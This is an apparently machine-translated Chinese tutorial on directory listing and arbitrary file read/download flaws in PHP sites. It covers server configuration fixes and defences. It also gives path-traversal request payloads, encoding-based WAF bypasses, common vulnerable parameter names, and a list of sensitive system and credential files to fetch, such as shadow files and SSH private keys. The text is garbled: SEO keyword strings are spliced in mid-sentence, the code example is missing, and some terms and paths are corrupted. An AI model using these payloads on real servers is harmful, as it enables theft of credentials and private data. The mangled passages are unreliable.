php 包含文件-目录遍历+任意文件读取+任意文件下载

目录遍历漏洞原理

目录遍历也称为“路径遍历”,因为Web服务器的错误配置导致网站目录暴露,随便浏览,这些都称为“目录遍历”

伤害

危害在于可以浏览一些不应该被用户听到的文件内容,比如一些数据库配置文件、网站源代码等...

检测方法

微软句型:phpintitle:indexof 如果出现以下内容,则说明存在目录遍历漏洞

网络服务器配置错误

IIS:在控制面板-->管理工具-->IIS管理器,网站->右键->属性->主目录,然后勾选目录浏览修复方法:其实取消勾选目录浏览Apache:打开 httpd.conf ,搜索“”或者更精确地搜索“Options” 右图中Options旁边有一个+Indexes,表明存在目录遍历漏洞

修复方法:去掉+Indexes或者改为-Indexes

php 包含文件_包含文件目录和源文件目录_包含文件是什么意思

经测试,如果小皮面板的配置文件中有Indexes,则不会被目录遍历,会显示403!!!

Nginx:默认情况下不启用目录遍历。 如果找到,删除nginx.conf中的“autoindexon;autoinxex_exact_sizeon”,然后重启

任意文件读取/下载

原则

由于网站有下载文件功能的业务需求,因此开放下载。 如果服务器没有对用户传入的参数进行限制或者不对传入的参数进行检查,则可能会导致网站上的敏感文件被下载。

伤害

任意文件读取/下载的危害通常小于目录遍历漏洞。 除了泄露网站的结构目录外php 包含文件,还会通过构造特殊字符结构来下载一些敏感文件,如../或~/ 泄露服务器的重要文件信息,如../etc/passwd、. ./etc/shodan、~/bash_history等文件,或者下载脚本配置文件,进一步审计网站文件,进一步利用危害更大的漏洞

你是怎么发现的?

通常文件读取或者文件下载都会在前面加上一个参数名,例如

http://127.0.0.1/file.php?filename=xxx.txt

复制

里面的txt会下载下来,如果把官方的xxx.txt换成其他参数怎么办? 例如,../etc/passwd

http://127.0.0.1/file.php?filename=../../../../etc/passwd

复制

如果服务器没有对用户传入的数据进行过滤,就会输出文件,比如下面

如果有这样的界面回显,则说明网站上有任何文件下载读取

代码

以下代码都有读取文件的危险,仅举个例子




包含文件目录和源文件目录_包含文件是什么意思_php 包含文件

复制

旁路

1202年的信息时代,各种花哨的waf层出不穷。 有些waf会检测用户传入的参数,也就是说,如果在部署了waf的网站中,直接访问file.php?filename=../../../etc/passwd会被阻止

1.编码绕过,有些网站还会将文件名转换为base64或其他编码格式后再读取,例如:

http://127.0.0.1/file.php?filename=aW5kZXgucGhw
// 对应index.php

复制

编码后读取文件。 如果要读取其他文件,同样的方法,先编码,然后传入

2.改用url编码。 或者 /

http://127.0.0.1/file.php?filename=.%2F.%2F.%2F.%2Fetc%2Fpasswd

复制

php 包含文件_包含文件是什么意思_包含文件目录和源文件目录

使用 %2F 代替/或辅助编码 (%25)

http://127.0.0.1/file.php?filename=.%252F.%252F.%252F.%252Fetc%2Fpasswd

复制

  %25是%
  2F是/
  %252F会先解开%25,解开后是%,然后在拼接2F就会变成%2F=/

复制

3.如果文件名有限制,可以尝试使用截断

http://127.0.0.1/file.php?filename=../../../1.php.jpg

复制

截断对PHP版本有要求:PHP小“坐姿”

如果filename=xxx.php,则此类文件存在漏洞。 如果filename=xxx.txt或者其他文件名,如果直接显示该文件,则为任意文件读取漏洞。 请区分清楚!!!

防御 传入文件名的歧视、限制和过滤 合理控制目录读取权限 使用白名单读取文件 打开 php.ini 文件写入限制读取范围过滤./~/等字符将要下载的文件路径预先传到数据库中,然后通过对应的id值进行下载php 包含文件,不要“捡了芝麻丢了香蕉” ,别忘了防止注射

常见的URL格式和参数

download.php?file=
download.php?filename=
file.php?file=
filename.php?name=
readfile.php?filename=
file.php?url=
file.php?dirname=
file.php?f=
...
value:
&dir=
&name=
&dir_name=
&filename=
&path=
&filepath=
...

复制

营养文件(复印件)

Windows:

复制

    C:boot.ini //查看系统版本
    C:WindowsSystem32inetsrvMetaBase.xml          //IIS配置文件
    C:Windowsrepairsam                                          //存储系统初次安装的密码
    C:Program Filesmysqlmy.ini                               //Mysql配置
    C:Program Filesmysqldatamysqluser.MYD     //Mysql root
    C:Windowsphp.ini              //php配置信息
    C:Windowsmy.ini             //Mysql配置信息
    C:Windowswin.ini             //Windows系统的一个基本系统配置文件

复制

  Linux:

复制

    /root/.ssh/authorized_keys
    /root/.ssh/id_rsa
    /root/.ssh/id_ras.keystore
    /root/.ssh/known_hosts             //记录每个访问计算机用户的公钥
    /etc/passwd
    /etc/shadow
    /usr/local/app/php5/lib/php.ini                //PHP配置文件
    /etc/my.cnf                 //mysql配置文件
    /etc/httpd/conf/httpd.conf             //apache配置文件
    /root/.bash_history             //用户历史命令记录文件
    /root/.mysql_history             //mysql历史命令记录文件
    /proc/mounts                 //记录系统挂载设备
    /porc/config.gz                //内核配置文件
    /var/lib/mlocate/mlocate.db         //全文件路径
    /porc/self/cmdline             //当前进程的cmdline参数

复制